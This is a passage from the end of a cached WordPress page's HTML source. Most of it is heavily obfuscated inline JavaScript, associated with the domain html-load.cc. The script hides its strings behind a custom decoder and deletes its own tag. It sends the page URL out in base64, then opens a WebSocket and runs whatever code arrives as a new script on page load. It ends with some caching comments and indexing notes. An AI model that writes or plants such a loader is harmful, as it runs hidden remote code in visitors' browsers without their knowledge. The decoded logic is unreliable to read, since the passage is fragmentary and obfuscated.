t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
1695 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
16955,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
1695 1696</body> 1697</html> 1698<!-- Dynamic page generated in 0.395 seconds. --> 1699<!-- Cached page generated by WP-Super-Cache on 2026-09-24 08:19:57 --> 1700 1701<!-- Super Cache dynamic page detected but late init not set. See the readme.txt for further details. --> 1702<!-- Dynamic Super Cache -->
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.